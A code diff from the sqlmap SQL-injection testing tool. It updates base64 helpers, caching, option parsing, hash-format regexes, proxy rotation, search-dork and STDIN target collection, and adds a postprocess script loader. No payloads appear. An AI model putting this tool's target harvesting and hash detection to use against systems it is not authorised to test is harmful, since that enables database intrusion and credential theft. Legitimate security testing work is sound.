>>> encodeBase64(b"123") == b"MTIz"
|
||||||
True
|
True
|
||||||
>>> encodeBase64(u"123", binary=False)
|
>>> encodeBase64(u"1234", binary=False)
|
||||||
'MTIz'
|
'MTIzNA=='
|
||||||
|
>>> encodeBase64(u"1234", binary=False, padding=False)
|
||||||
|
'MTIzNA'
|
||||||
|
>>> encodeBase64(decodeBase64("A-B_CDE"), binary=False, safe=True)
|
||||||
|
'A-B_CDE'
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
if value is None:
|
||||||
|
return None
|
||||||
|
|
||||||
if isinstance(value, six.text_type):
|
if isinstance(value, six.text_type):
|
||||||
value = value.encode(encoding or UNICODE_ENCODING)
|
value = value.encode(encoding or UNICODE_ENCODING)
|
||||||
|
|
||||||
@@ -225,6 +256,19 @@ def encodeBase64(value, binary=True, encoding=None):
|
|||||||
if not binary:
|
if not binary:
|
||||||
retVal = getText(retVal, encoding)
|
retVal = getText(retVal, encoding)
|
||||||
|
|
||||||
|
if safe:
|
||||||
|
padding = False
|
||||||
|
|
||||||
|
# Reference: https://en.wikipedia.org/wiki/Base64#URL_applications
|
||||||
|
# Reference: https://perldoc.perl.org/MIME/Base64.html
|
||||||
|
if isinstance(retVal, bytes):
|
||||||
|
retVal = retVal.replace(b'+', b'-').replace(b'/', b'_')
|
||||||
|
else:
|
||||||
|
retVal = retVal.replace('+', '-').replace('/', '_')
|
||||||
|
|
||||||
|
if not padding:
|
||||||
|
retVal = retVal.rstrip(b'=' if isinstance(retVal, bytes) else '=')
|
||||||
|
|
||||||
return retVal
|
return retVal
|
||||||
|
|
||||||
def getBytes(value, encoding=None, errors="strict", unsafe=True):
|
def getBytes(value, encoding=None, errors="strict", unsafe=True):
|
||||||
@@ -256,7 +300,10 @@ def getBytes(value, encoding=None, errors="strict", unsafe=True):
|
|||||||
if unsafe:
|
if unsafe:
|
||||||
retVal = re.sub(r"%s([0-9a-f]{2})" % SAFE_HEX_MARKER, lambda _: decodeHex(_.group(1)), retVal)
|
retVal = re.sub(r"%s([0-9a-f]{2})" % SAFE_HEX_MARKER, lambda _: decodeHex(_.group(1)), retVal)
|
||||||
else:
|
else:
|
||||||
retVal = value.encode(encoding, errors)
|
try:
|
||||||
|
retVal = value.encode(encoding, errors)
|
||||||
|
except UnicodeError:
|
||||||
|
retVal = value.encode(UNICODE_ENCODING, errors="replace")
|
||||||
|
|
||||||
if unsafe:
|
if unsafe:
|
||||||
retVal = re.sub(b"\\\\x([0-9a-f]{2})", lambda _: decodeHex(_.group(1)), retVal)
|
retVal = re.sub(b"\\\\x([0-9a-f]{2})", lambda _: decodeHex(_.group(1)), retVal)
|
||||||
|
|||||||
+10
-7
@@ -39,16 +39,19 @@ def cachedmethod(f):
|
|||||||
|
|
||||||
@functools.wraps(f)
|
@functools.wraps(f)
|
||||||
def _f(*args, **kwargs):
|
def _f(*args, **kwargs):
|
||||||
key = int(hashlib.md5("|".join(str(_) for _ in (f, args, kwargs)).encode(UNICODE_ENCODING)).hexdigest(), 16) & 0x7fffffffffffffff
|
|
||||||
|
|
||||||
try:
|
try:
|
||||||
with _cache_lock:
|
key = int(hashlib.md5("|".join(str(_) for _ in (f, args, kwargs)).encode(UNICODE_ENCODING)).hexdigest(), 16) & 0x7fffffffffffffff
|
||||||
result = _cache[f][key]
|
except ValueError: # https://github.com/sqlmapproject/sqlmap/issues/4281 (NOTE: non-standard Python behavior where hexdigest returns binary value)
|
||||||
except KeyError:
|
|
||||||
result = f(*args, **kwargs)
|
result = f(*args, **kwargs)
|
||||||
|
else:
|
||||||
|
try:
|
||||||
|
with _cache_lock:
|
||||||
|
result = _cache[f][key]
|
||||||
|
except KeyError:
|
||||||
|
result = f(*args, **kwargs)
|
||||||
|
|
||||||
with _cache_lock:
|
with _cache_lock:
|
||||||
_cache[f][key] = result
|
_cache[f][key] = result
|
||||||
|
|
||||||
return result
|
return result
|
||||||
|
|
||||||
|
|||||||
@@ -15,6 +15,7 @@ _defaults = {
|
|||||||
"delay": 0,
|
"delay": 0,
|
||||||
"timeout": 30,
|
"timeout": 30,
|
||||||
"retries": 3,
|
"retries": 3,
|
||||||
|
"csrfRetries": 0,
|
||||||
"saFreq": 0,
|
"saFreq": 0,
|
||||||
"threads": 1,
|
"threads": 1,
|
||||||
"level": 1,
|
"level": 1,
|
||||||
|
|||||||
+1
-1
@@ -241,7 +241,7 @@ class Dump(object):
|
|||||||
lines = "-" * (int(maxlength) + 2)
|
lines = "-" * (int(maxlength) + 2)
|
||||||
|
|
||||||
for db, tables in dbTables.items():
|
for db, tables in dbTables.items():
|
||||||
tables.sort()
|
tables = sorted(filter(None, tables))
|
||||||
|
|
||||||
self._write("Database: %s" % unsafeSQLIdentificatorNaming(db) if db else "Current database")
|
self._write("Database: %s" % unsafeSQLIdentificatorNaming(db) if db else "Current database")
|
||||||
|
|
||||||
|
|||||||
+2
-1
@@ -177,7 +177,7 @@ class HASH(object):
|
|||||||
SHA512_GENERIC = r'(?i)\A(0x)?[0-9a-f]{128}\Z'
|
SHA512_GENERIC = r'(?i)\A(0x)?[0-9a-f]{128}\Z'
|
||||||
CRYPT_GENERIC = r'\A(?!\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\Z)(?![0-9]+\Z)[./0-9A-Za-z]{13}\Z'
|
CRYPT_GENERIC = r'\A(?!\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\Z)(?![0-9]+\Z)[./0-9A-Za-z]{13}\Z'
|
||||||
JOOMLA = r'\A[0-9a-f]{32}:\w{32}\Z'
|
JOOMLA = r'\A[0-9a-f]{32}:\w{32}\Z'
|
||||||
WORDPRESS = r'\A\$P\$[./0-9a-zA-Z]{31}\Z'
|
PHPASS = r'\A\$[PHQS]\$[./0-9a-zA-Z]{31}\Z'
|
||||||
APACHE_MD5_CRYPT = r'\A\$apr1\$.{1,8}\$[./a-zA-Z0-9]+\Z'
|
APACHE_MD5_CRYPT = r'\A\$apr1\$.{1,8}\$[./a-zA-Z0-9]+\Z'
|
||||||
UNIX_MD5_CRYPT = r'\A\$1\$.{1,8}\$[./a-zA-Z0-9]+\Z'
|
UNIX_MD5_CRYPT = r'\A\$1\$.{1,8}\$[./a-zA-Z0-9]+\Z'
|
||||||
APACHE_SHA1 = r'\A\{SHA\}[a-zA-Z0-9+/]+={0,2}\Z'
|
APACHE_SHA1 = r'\A\{SHA\}[a-zA-Z0-9+/]+={0,2}\Z'
|
||||||
@@ -239,6 +239,7 @@ class HTTP_HEADER(object):
|
|||||||
EXPIRES = "Expires"
|
EXPIRES = "Expires"
|
||||||
HOST = "Host"
|
HOST = "Host"
|
||||||
IF_MODIFIED_SINCE = "If-Modified-Since"
|
IF_MODIFIED_SINCE = "If-Modified-Since"
|
||||||
|
IF_NONE_MATCH = "If-None-Match"
|
||||||
LAST_MODIFIED = "Last-Modified"
|
LAST_MODIFIED = "Last-Modified"
|
||||||
LOCATION = "Location"
|
LOCATION = "Location"
|
||||||
PRAGMA = "Pragma"
|
PRAGMA = "Pragma"
|
||||||
|
|||||||
+157
-38
@@ -8,6 +8,7 @@ See the file 'LICENSE' for copying permission
|
|||||||
from __future__ import division
|
from __future__ import division
|
||||||
|
|
||||||
import codecs
|
import codecs
|
||||||
|
import collections
|
||||||
import functools
|
import functools
|
||||||
import glob
|
import glob
|
||||||
import inspect
|
import inspect
|
||||||
@@ -93,7 +94,6 @@ from lib.core.exception import SqlmapInstallationException
|
|||||||
from lib.core.exception import SqlmapMissingDependence
|
from lib.core.exception import SqlmapMissingDependence
|
||||||
from lib.core.exception import SqlmapMissingMandatoryOptionException
|
from lib.core.exception import SqlmapMissingMandatoryOptionException
|
||||||
from lib.core.exception import SqlmapMissingPrivileges
|
from lib.core.exception import SqlmapMissingPrivileges
|
||||||
from lib.core.exception import SqlmapNoneDataException
|
|
||||||
from lib.core.exception import SqlmapSilentQuitException
|
from lib.core.exception import SqlmapSilentQuitException
|
||||||
from lib.core.exception import SqlmapSyntaxException
|
from lib.core.exception import SqlmapSyntaxException
|
||||||
from lib.core.exception import SqlmapSystemException
|
from lib.core.exception import SqlmapSystemException
|
||||||
@@ -371,7 +371,7 @@ def _doSearch():
|
|||||||
|
|
||||||
for link in links:
|
for link in links:
|
||||||
link = urldecode(link)
|
link = urldecode(link)
|
||||||
if re.search(r"(.*?)\?(.+)", link):
|
if re.search(r"(.*?)\?(.+)", link) or conf.forms:
|
||||||
kb.targets.add((link, conf.method, conf.data, conf.cookie, None))
|
kb.targets.add((link, conf.method, conf.data, conf.cookie, None))
|
||||||
elif re.search(URI_INJECTABLE_REGEX, link, re.I):
|
elif re.search(URI_INJECTABLE_REGEX, link, re.I):
|
||||||
if kb.data.onlyGETs is None and conf.data is None and not conf.googleDork:
|
if kb.data.onlyGETs is None and conf.data is None and not conf.googleDork:
|
||||||
@@ -387,14 +387,18 @@ def _doSearch():
|
|||||||
|
|
||||||
if kb.targets:
|
if kb.targets:
|
||||||
infoMsg = "found %d results for your " % len(links)
|
infoMsg = "found %d results for your " % len(links)
|
||||||
infoMsg += "search dork expression, "
|
infoMsg += "search dork expression"
|
||||||
|
|
||||||
if len(links) == len(kb.targets):
|
if not conf.forms:
|
||||||
infoMsg += "all "
|
infoMsg += ", "
|
||||||
else:
|
|
||||||
infoMsg += "%d " % len(kb.targets)
|
if len(links) == len(kb.targets):
|
||||||
|
infoMsg += "all "
|
||||||
|
else:
|
||||||
|
infoMsg += "%d " % len(kb.targets)
|
||||||
|
|
||||||
|
infoMsg += "of them are testable targets"
|
||||||
|
|
||||||
infoMsg += "of them are testable targets"
|
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
break
|
break
|
||||||
|
|
||||||
@@ -409,6 +413,37 @@ def _doSearch():
|
|||||||
else:
|
else:
|
||||||
conf.googlePage += 1
|
conf.googlePage += 1
|
||||||
|
|
||||||
|
def _setStdinPipeTargets():
|
||||||
|
if isinstance(conf.stdinPipe, collections.Iterable):
|
||||||
|
infoMsg = "using 'STDIN' for parsing targets list"
|
||||||
|
logger.info(infoMsg)
|
||||||
|
|
||||||
|
class _(object):
|
||||||
|
def __init__(self):
|
||||||
|
self.__rest = OrderedSet()
|
||||||
|
|
||||||
|
def __iter__(self):
|
||||||
|
return self
|
||||||
|
|
||||||
|
def __next__(self):
|
||||||
|
return self.next()
|
||||||
|
|
||||||
|
def next(self):
|
||||||
|
line = next(conf.stdinPipe)
|
||||||
|
if line:
|
||||||
|
match = re.search(r"\b(https?://[^\s'\"]+|[\w.]+\.\w{2,3}[/\w+]*\?[^\s'\"]+)", line, re.I)
|
||||||
|
if match:
|
||||||
|
return (match.group(0), conf.method, conf.data, conf.cookie, None)
|
||||||
|
elif self.__rest:
|
||||||
|
return self.__rest.pop()
|
||||||
|
|
||||||
|
raise StopIteration()
|
||||||
|
|
||||||
|
def add(self, elem):
|
||||||
|
self.__rest.add(elem)
|
||||||
|
|
||||||
|
kb.targets = _()
|
||||||
|
|
||||||
def _setBulkMultipleTargets():
|
def _setBulkMultipleTargets():
|
||||||
if not conf.bulkFile:
|
if not conf.bulkFile:
|
||||||
return
|
return
|
||||||
@@ -428,7 +463,7 @@ def _setBulkMultipleTargets():
|
|||||||
if conf.scope and not re.search(conf.scope, line, re.I):
|
if conf.scope and not re.search(conf.scope, line, re.I):
|
||||||
continue
|
continue
|
||||||
|
|
||||||
if re.match(r"[^ ]+\?(.+)", line, re.I) or kb.customInjectionMark in line:
|
if re.match(r"[^ ]+\?(.+)", line, re.I) or kb.customInjectionMark in line or conf.data:
|
||||||
found = True
|
found = True
|
||||||
kb.targets.add((line.strip(), conf.method, conf.data, conf.cookie, None))
|
kb.targets.add((line.strip(), conf.method, conf.data, conf.cookie, None))
|
||||||
|
|
||||||
@@ -822,7 +857,7 @@ def _setTamperingFunctions():
|
|||||||
|
|
||||||
def _setPreprocessFunctions():
|
def _setPreprocessFunctions():
|
||||||
"""
|
"""
|
||||||
Loads preprocess functions from given script(s)
|
Loads preprocess function(s) from given script(s)
|
||||||
"""
|
"""
|
||||||
|
|
||||||
if conf.preprocess:
|
if conf.preprocess:
|
||||||
@@ -867,17 +902,95 @@ def _setPreprocessFunctions():
|
|||||||
raise SqlmapSyntaxException("cannot import preprocess module '%s' (%s)" % (getUnicode(filename[:-3]), getSafeExString(ex)))
|
raise SqlmapSyntaxException("cannot import preprocess module '%s' (%s)" % (getUnicode(filename[:-3]), getSafeExString(ex)))
|
||||||
|
|
||||||
for name, function in inspect.getmembers(module, inspect.isfunction):
|
for name, function in inspect.getmembers(module, inspect.isfunction):
|
||||||
if name == "preprocess" and inspect.getargspec(function).args and all(_ in inspect.getargspec(function).args for _ in ("page", "headers", "code")):
|
try:
|
||||||
|
if name == "preprocess" and inspect.getargspec(function).args and all(_ in inspect.getargspec(function).args for _ in ("req",)):
|
||||||
|
found = True
|
||||||
|
|
||||||
|
kb.preprocessFunctions.append(function)
|
||||||
|
function.__name__ = module.__name__
|
||||||
|
|
||||||
|
break
|
||||||
|
except ValueError: # Note: https://github.com/sqlmapproject/sqlmap/issues/4357
|
||||||
|
pass
|
||||||
|
|
||||||
|
if not found:
|
||||||
|
errMsg = "missing function 'preprocess(req)' "
|
||||||
|
errMsg += "in preprocess script '%s'" % script
|
||||||
|
raise SqlmapGenericException(errMsg)
|
||||||
|
else:
|
||||||
|
try:
|
||||||
|
function(_urllib.request.Request("http://localhost"))
|
||||||
|
except:
|
||||||
|
handle, filename = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.PREPROCESS, suffix=".py")
|
||||||
|
os.close(handle)
|
||||||
|
|
||||||
|
openFile(filename, "w+b").write("#!/usr/bin/env\n\ndef preprocess(req):\n pass\n")
|
||||||
|
openFile(os.path.join(os.path.dirname(filename), "__init__.py"), "w+b").write("pass")
|
||||||
|
|
||||||
|
errMsg = "function 'preprocess(req)' "
|
||||||
|
errMsg += "in preprocess script '%s' " % script
|
||||||
|
errMsg += "appears to be invalid "
|
||||||
|
errMsg += "(Note: find template script at '%s')" % filename
|
||||||
|
raise SqlmapGenericException(errMsg)
|
||||||
|
|
||||||
|
def _setPostprocessFunctions():
|
||||||
|
"""
|
||||||
|
Loads postprocess function(s) from given script(s)
|
||||||
|
"""
|
||||||
|
|
||||||
|
if conf.postprocess:
|
||||||
|
for script in re.split(PARAMETER_SPLITTING_REGEX, conf.postprocess):
|
||||||
|
found = False
|
||||||
|
function = None
|
||||||
|
|
||||||
|
script = safeFilepathEncode(script.strip())
|
||||||
|
|
||||||
|
try:
|
||||||
|
if not script:
|
||||||
|
continue
|
||||||
|
|
||||||
|
if not os.path.exists(script):
|
||||||
|
errMsg = "postprocess script '%s' does not exist" % script
|
||||||
|
raise SqlmapFilePathException(errMsg)
|
||||||
|
|
||||||
|
elif not script.endswith(".py"):
|
||||||
|
errMsg = "postprocess script '%s' should have an extension '.py'" % script
|
||||||
|
raise SqlmapSyntaxException(errMsg)
|
||||||
|
except UnicodeDecodeError:
|
||||||
|
errMsg = "invalid character provided in option '--postprocess'"
|
||||||
|
raise SqlmapSyntaxException(errMsg)
|
||||||
|
|
||||||
|
dirname, filename = os.path.split(script)
|
||||||
|
dirname = os.path.abspath(dirname)
|
||||||
|
|
||||||
|
infoMsg = "loading postprocess module '%s'" % filename[:-3]
|
||||||
|
logger.info(infoMsg)
|
||||||
|
|
||||||
|
if not os.path.exists(os.path.join(dirname, "__init__.py")):
|
||||||
|
errMsg = "make sure that there is an empty file '__init__.py' "
|
||||||
|
errMsg += "inside of postprocess scripts directory '%s'" % dirname
|
||||||
|
raise SqlmapGenericException(errMsg)
|
||||||
|
|
||||||
|
if dirname not in sys.path:
|
||||||
|
sys.path.insert(0, dirname)
|
||||||
|
|
||||||
|
try:
|
||||||
|
module = __import__(safeFilepathEncode(filename[:-3]))
|
||||||
|
except Exception as ex:
|
||||||
|
raise SqlmapSyntaxException("cannot import postprocess module '%s' (%s)" % (getUnicode(filename[:-3]), getSafeExString(ex)))
|
||||||
|
|
||||||
|
for name, function in inspect.getmembers(module, inspect.isfunction):
|
||||||
|
if name == "postprocess" and inspect.getargspec(function).args and all(_ in inspect.getargspec(function).args for _ in ("page", "headers", "code")):
|
||||||
found = True
|
found = True
|
||||||
|
|
||||||
kb.preprocessFunctions.append(function)
|
kb.postprocessFunctions.append(function)
|
||||||
function.__name__ = module.__name__
|
function.__name__ = module.__name__
|
||||||
|
|
||||||
break
|
break
|
||||||
|
|
||||||
if not found:
|
if not found:
|
||||||
errMsg = "missing function 'preprocess(page, headers=None, code=None)' "
|
errMsg = "missing function 'postprocess(page, headers=None, code=None)' "
|
||||||
errMsg += "in preprocess script '%s'" % script
|
errMsg += "in postprocess script '%s'" % script
|
||||||
raise SqlmapGenericException(errMsg)
|
raise SqlmapGenericException(errMsg)
|
||||||
else:
|
else:
|
||||||
try:
|
try:
|
||||||
@@ -886,11 +999,11 @@ def _setPreprocessFunctions():
|
|||||||
handle, filename = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.PREPROCESS, suffix=".py")
|
handle, filename = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.PREPROCESS, suffix=".py")
|
||||||
os.close(handle)
|
os.close(handle)
|
||||||
|
|
||||||
open(filename, "w+b").write("#!/usr/bin/env\n\ndef preprocess(page, headers=None, code=None):\n return page, headers, code\n")
|
openFile(filename, "w+b").write("#!/usr/bin/env\n\ndef postprocess(page, headers=None, code=None):\n return page, headers, code\n")
|
||||||
open(os.path.join(os.path.dirname(filename), "__init__.py"), "w+b").write("pass")
|
openFile(os.path.join(os.path.dirname(filename), "__init__.py"), "w+b").write("pass")
|
||||||
|
|
||||||
errMsg = "function 'preprocess(page, headers=None, code=None)' "
|
errMsg = "function 'postprocess(page, headers=None, code=None)' "
|
||||||
errMsg += "in preprocess script '%s' " % script
|
errMsg += "in postprocess script '%s' " % script
|
||||||
errMsg += "should return a tuple '(page, headers, code)' "
|
errMsg += "should return a tuple '(page, headers, code)' "
|
||||||
errMsg += "(Note: find template script at '%s')" % filename
|
errMsg += "(Note: find template script at '%s')" % filename
|
||||||
raise SqlmapGenericException(errMsg)
|
raise SqlmapGenericException(errMsg)
|
||||||
@@ -979,16 +1092,13 @@ def _setHTTPHandlers():
|
|||||||
"""
|
"""
|
||||||
|
|
||||||
with kb.locks.handlers:
|
with kb.locks.handlers:
|
||||||
if conf.proxyList is not None:
|
if conf.proxyList:
|
||||||
if not conf.proxyList:
|
|
||||||
errMsg = "list of usable proxies is exhausted"
|
|
||||||
raise SqlmapNoneDataException(errMsg)
|
|
||||||
|
|
||||||
conf.proxy = conf.proxyList[0]
|
conf.proxy = conf.proxyList[0]
|
||||||
conf.proxyList = conf.proxyList[1:]
|
conf.proxyList = conf.proxyList[1:] + conf.proxyList[:1]
|
||||||
|
|
||||||
infoMsg = "loading proxy '%s' from a supplied proxy list file" % conf.proxy
|
if len(conf.proxyList) > 1:
|
||||||
logger.info(infoMsg)
|
infoMsg = "loading proxy '%s' from a supplied proxy list file" % conf.proxy
|
||||||
|
logger.info(infoMsg)
|
||||||
|
|
||||||
elif not conf.proxy:
|
elif not conf.proxy:
|
||||||
if conf.hostname in ("localhost", "127.0.0.1") or conf.ignoreProxy:
|
if conf.hostname in ("localhost", "127.0.0.1") or conf.ignoreProxy:
|
||||||
@@ -1450,8 +1560,8 @@ def _createHomeDirectories():
|
|||||||
if conf.get("purge"):
|
if conf.get("purge"):
|
||||||
return
|
return
|
||||||
|
|
||||||
for context in "output", "history":
|
for context in ("output", "history"):
|
||||||
directory = paths["SQLMAP_%s_PATH" % context.upper()]
|
directory = paths["SQLMAP_%s_PATH" % getUnicode(context).upper()] # NOTE: https://github.com/sqlmapproject/sqlmap/issues/4363
|
||||||
try:
|
try:
|
||||||
if not os.path.isdir(directory):
|
if not os.path.isdir(directory):
|
||||||
os.makedirs(directory)
|
os.makedirs(directory)
|
||||||
@@ -1553,7 +1663,8 @@ def _cleanupOptions():
|
|||||||
|
|
||||||
for key, value in conf.items():
|
for key, value in conf.items():
|
||||||
if value and any(key.endswith(_) for _ in ("Path", "File", "Dir")):
|
if value and any(key.endswith(_) for _ in ("Path", "File", "Dir")):
|
||||||
conf[key] = safeExpandUser(value)
|
if isinstance(value, str):
|
||||||
|
conf[key] = safeExpandUser(value)
|
||||||
|
|
||||||
if conf.testParameter:
|
if conf.testParameter:
|
||||||
conf.testParameter = urldecode(conf.testParameter)
|
conf.testParameter = urldecode(conf.testParameter)
|
||||||
@@ -1580,7 +1691,7 @@ def _cleanupOptions():
|
|||||||
|
|
||||||
if conf.base64Parameter:
|
if conf.base64Parameter:
|
||||||
conf.base64Parameter = urldecode(conf.base64Parameter)
|
conf.base64Parameter = urldecode(conf.base64Parameter)
|
||||||
conf.base64Parameter = conf.base64Parameter.replace(" ", "")
|
conf.base64Parameter = conf.base64Parameter.strip()
|
||||||
conf.base64Parameter = re.split(PARAMETER_SPLITTING_REGEX, conf.base64Parameter)
|
conf.base64Parameter = re.split(PARAMETER_SPLITTING_REGEX, conf.base64Parameter)
|
||||||
else:
|
else:
|
||||||
conf.base64Parameter = []
|
conf.base64Parameter = []
|
||||||
@@ -1762,6 +1873,8 @@ def _cleanupOptions():
|
|||||||
if not regex:
|
if not regex:
|
||||||
conf.exclude = re.sub(r"\s*,\s*", ',', conf.exclude)
|
conf.exclude = re.sub(r"\s*,\s*", ',', conf.exclude)
|
||||||
conf.exclude = r"\A%s\Z" % '|'.join(re.escape(_) for _ in conf.exclude.split(','))
|
conf.exclude = r"\A%s\Z" % '|'.join(re.escape(_) for _ in conf.exclude.split(','))
|
||||||
|
else:
|
||||||
|
conf.exclude = re.sub(r"(\w+)\$", r"\g<1>\$", conf.exclude)
|
||||||
|
|
||||||
if conf.binaryFields:
|
if conf.binaryFields:
|
||||||
conf.binaryFields = conf.binaryFields.replace(" ", "")
|
conf.binaryFields = conf.binaryFields.replace(" ", "")
|
||||||
@@ -1856,6 +1969,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
|
|||||||
kb.arch = None
|
kb.arch = None
|
||||||
kb.authHeader = None
|
kb.authHeader = None
|
||||||
kb.bannerFp = AttribDict()
|
kb.bannerFp = AttribDict()
|
||||||
|
kb.base64Originals = {}
|
||||||
kb.binaryField = False
|
kb.binaryField = False
|
||||||
kb.browserVerification = None
|
kb.browserVerification = None
|
||||||
|
|
||||||
@@ -1867,6 +1981,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
|
|||||||
kb.cache.content = {}
|
kb.cache.content = {}
|
||||||
kb.cache.encoding = {}
|
kb.cache.encoding = {}
|
||||||
kb.cache.alphaBoundaries = None
|
kb.cache.alphaBoundaries = None
|
||||||
|
kb.cache.hashRegex = None
|
||||||
kb.cache.intBoundaries = None
|
kb.cache.intBoundaries = None
|
||||||
kb.cache.parsedDbms = {}
|
kb.cache.parsedDbms = {}
|
||||||
kb.cache.regex = {}
|
kb.cache.regex = {}
|
||||||
@@ -1943,12 +2058,12 @@ def _setKnowledgeBaseAttributes(flushAll=True):
|
|||||||
kb.identifiedWafs = set()
|
kb.identifiedWafs = set()
|
||||||
kb.injection = InjectionDict()
|
kb.injection = InjectionDict()
|
||||||
kb.injections = []
|
kb.injections = []
|
||||||
|
kb.jsonAggMode = False
|
||||||
kb.laggingChecked = False
|
kb.laggingChecked = False
|
||||||
kb.lastParserStatus = None
|
kb.lastParserStatus = None
|
||||||
kb.lastCtrlCTime = None
|
|
||||||
|
|
||||||
kb.locks = AttribDict()
|
kb.locks = AttribDict()
|
||||||
for _ in ("cache", "connError", "count", "handlers", "hint", "index", "io", "limit", "log", "socket", "redirect", "request", "value"):
|
for _ in ("cache", "connError", "count", "handlers", "hint", "index", "io", "limit", "liveCookies", "log", "socket", "redirect", "request", "value"):
|
||||||
kb.locks[_] = threading.Lock()
|
kb.locks[_] = threading.Lock()
|
||||||
|
|
||||||
kb.matchRatio = None
|
kb.matchRatio = None
|
||||||
@@ -1998,7 +2113,6 @@ def _setKnowledgeBaseAttributes(flushAll=True):
|
|||||||
kb.responseTimeMode = None
|
kb.responseTimeMode = None
|
||||||
kb.responseTimePayload = None
|
kb.responseTimePayload = None
|
||||||
kb.resumeValues = True
|
kb.resumeValues = True
|
||||||
kb.rowXmlMode = False
|
|
||||||
kb.safeCharEncode = False
|
kb.safeCharEncode = False
|
||||||
kb.safeReq = AttribDict()
|
kb.safeReq = AttribDict()
|
||||||
kb.secondReq = None
|
kb.secondReq = None
|
||||||
@@ -2007,10 +2121,11 @@ def _setKnowledgeBaseAttributes(flushAll=True):
|
|||||||
kb.skipSeqMatcher = False
|
kb.skipSeqMatcher = False
|
||||||
kb.smokeMode = False
|
kb.smokeMode = False
|
||||||
kb.reduceTests = None
|
kb.reduceTests = None
|
||||||
kb.tlsSNI = {}
|
kb.sslSuccess = False
|
||||||
kb.stickyDBMS = False
|
kb.stickyDBMS = False
|
||||||
kb.storeHashesChoice = None
|
kb.storeHashesChoice = None
|
||||||
kb.suppressResumeInfo = False
|
kb.suppressResumeInfo = False
|
||||||
|
kb.tableExistsChoice = None
|
||||||
kb.tableFrom = None
|
kb.tableFrom = None
|
||||||
kb.technique = None
|
kb.technique = None
|
||||||
kb.tempDir = None
|
kb.tempDir = None
|
||||||
@@ -2020,7 +2135,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
|
|||||||
kb.testType = None
|
kb.testType = None
|
||||||
kb.threadContinue = True
|
kb.threadContinue = True
|
||||||
kb.threadException = False
|
kb.threadException = False
|
||||||
kb.tableExistsChoice = None
|
kb.tlsSNI = {}
|
||||||
kb.uChar = NULL
|
kb.uChar = NULL
|
||||||
kb.udfFail = False
|
kb.udfFail = False
|
||||||
kb.unionDuplicates = False
|
kb.unionDuplicates = False
|
||||||
@@ -2033,8 +2148,10 @@ def _setKnowledgeBaseAttributes(flushAll=True):
|
|||||||
kb.checkSitemap = None
|
kb.checkSitemap = None
|
||||||
kb.headerPaths = {}
|
kb.headerPaths = {}
|
||||||
kb.keywords = set(getFileItems(paths.SQL_KEYWORDS))
|
kb.keywords = set(getFileItems(paths.SQL_KEYWORDS))
|
||||||
|
kb.lastCtrlCTime = None
|
||||||
kb.normalizeCrawlingChoice = None
|
kb.normalizeCrawlingChoice = None
|
||||||
kb.passwordMgr = None
|
kb.passwordMgr = None
|
||||||
|
kb.postprocessFunctions = []
|
||||||
kb.preprocessFunctions = []
|
kb.preprocessFunctions = []
|
||||||
kb.skipVulnHost = None
|
kb.skipVulnHost = None
|
||||||
kb.storeCrawlingChoice = None
|
kb.storeCrawlingChoice = None
|
||||||
@@ -2061,11 +2178,11 @@ def _useWizardInterface():
|
|||||||
message = "Please enter full target URL (-u): "
|
message = "Please enter full target URL (-u): "
|
||||||
conf.url = readInput(message, default=None)
|
conf.url = readInput(message, default=None)
|
||||||
|
|
||||||
message = "%s data (--data) [Enter for None]: " % ((conf.method if conf.method != HTTPMETHOD.GET else conf.method) or HTTPMETHOD.POST)
|
message = "%s data (--data) [Enter for None]: " % ((conf.method if conf.method != HTTPMETHOD.GET else None) or HTTPMETHOD.POST)
|
||||||
conf.data = readInput(message, default=None)
|
conf.data = readInput(message, default=None)
|
||||||
|
|
||||||
if not (any('=' in _ for _ in (conf.url, conf.data)) or '*' in conf.url):
|
if not (any('=' in _ for _ in (conf.url, conf.data)) or '*' in conf.url):
|
||||||
warnMsg = "no GET and/or %s parameter(s) found for testing " % ((conf.method if conf.method != HTTPMETHOD.GET else conf.method) or HTTPMETHOD.POST)
|
warnMsg = "no GET and/or %s parameter(s) found for testing " % ((conf.method if conf.method != HTTPMETHOD.GET else None) or HTTPMETHOD.POST)
|
||||||
warnMsg += "(e.g. GET parameter 'id' in 'http://www.site.com/vuln.php?id=1'). "
|
warnMsg += "(e.g. GET parameter 'id' in 'http://www.site.com/vuln.php?id=1'). "
|
||||||
if not conf.crawlDepth and not conf.forms:
|
if not conf.crawlDepth and not conf.forms:
|
||||||
warnMsg += "Will search for forms"
|
warnMsg += "Will search for forms"
|
||||||
@@ -2681,6 +2798,7 @@ def init():
|
|||||||
_listTamperingFunctions()
|
_listTamperingFunctions()
|
||||||
_setTamperingFunctions()
|
_setTamperingFunctions()
|
||||||
_setPreprocessFunctions()
|
_setPreprocessFunctions()
|
||||||
|
_setPostprocessFunctions()
|
||||||
_setTrafficOutputFP()
|
_setTrafficOutputFP()
|
||||||
_setupHTTPCollector()
|
_setupHTTPCollector()
|
||||||
_setHttpChunked()
|
_setHttpChunked()
|
||||||
@@ -2688,7 +2806,7 @@ def init():
|
|||||||
|
|
||||||
parseTargetDirect()
|
parseTargetDirect()
|
||||||
|
|
||||||
if any((conf.url, conf.logFile, conf.bulkFile, conf.requestFile, conf.googleDork)):
|
if any((conf.url, conf.logFile, conf.bulkFile, conf.requestFile, conf.googleDork, conf.stdinPipe)):
|
||||||
_setHostname()
|
_setHostname()
|
||||||
_setHTTPTimeout()
|
_setHTTPTimeout()
|
||||||
_setHTTPExtraHeaders()
|
_setHTTPExtraHeaders()
|
||||||
@@ -2702,6 +2820,7 @@ def init():
|
|||||||
_setSocketPreConnect()
|
_setSocketPreConnect()
|
||||||
_setSafeVisit()
|
_setSafeVisit()
|
||||||
_doSearch()
|
_doSearch()
|
||||||
|
_setStdinPipeTargets()
|
||||||
_setBulkMultipleTargets()
|
_setBulkMultipleTargets()
|
||||||
_checkTor()
|
_checkTor()
|
||||||
_setCrawler()
|
_setCrawler()
|
||||||
|
|||||||
@@ -27,6 +27,7 @@ optDict = {
|
|||||||
"paramDel": "string",
|
"paramDel": "string",
|
||||||
"cookie": "string",
|
"cookie": "string",
|
||||||
"cookieDel": "string",
|
"cookieDel": "string",
|
||||||
|
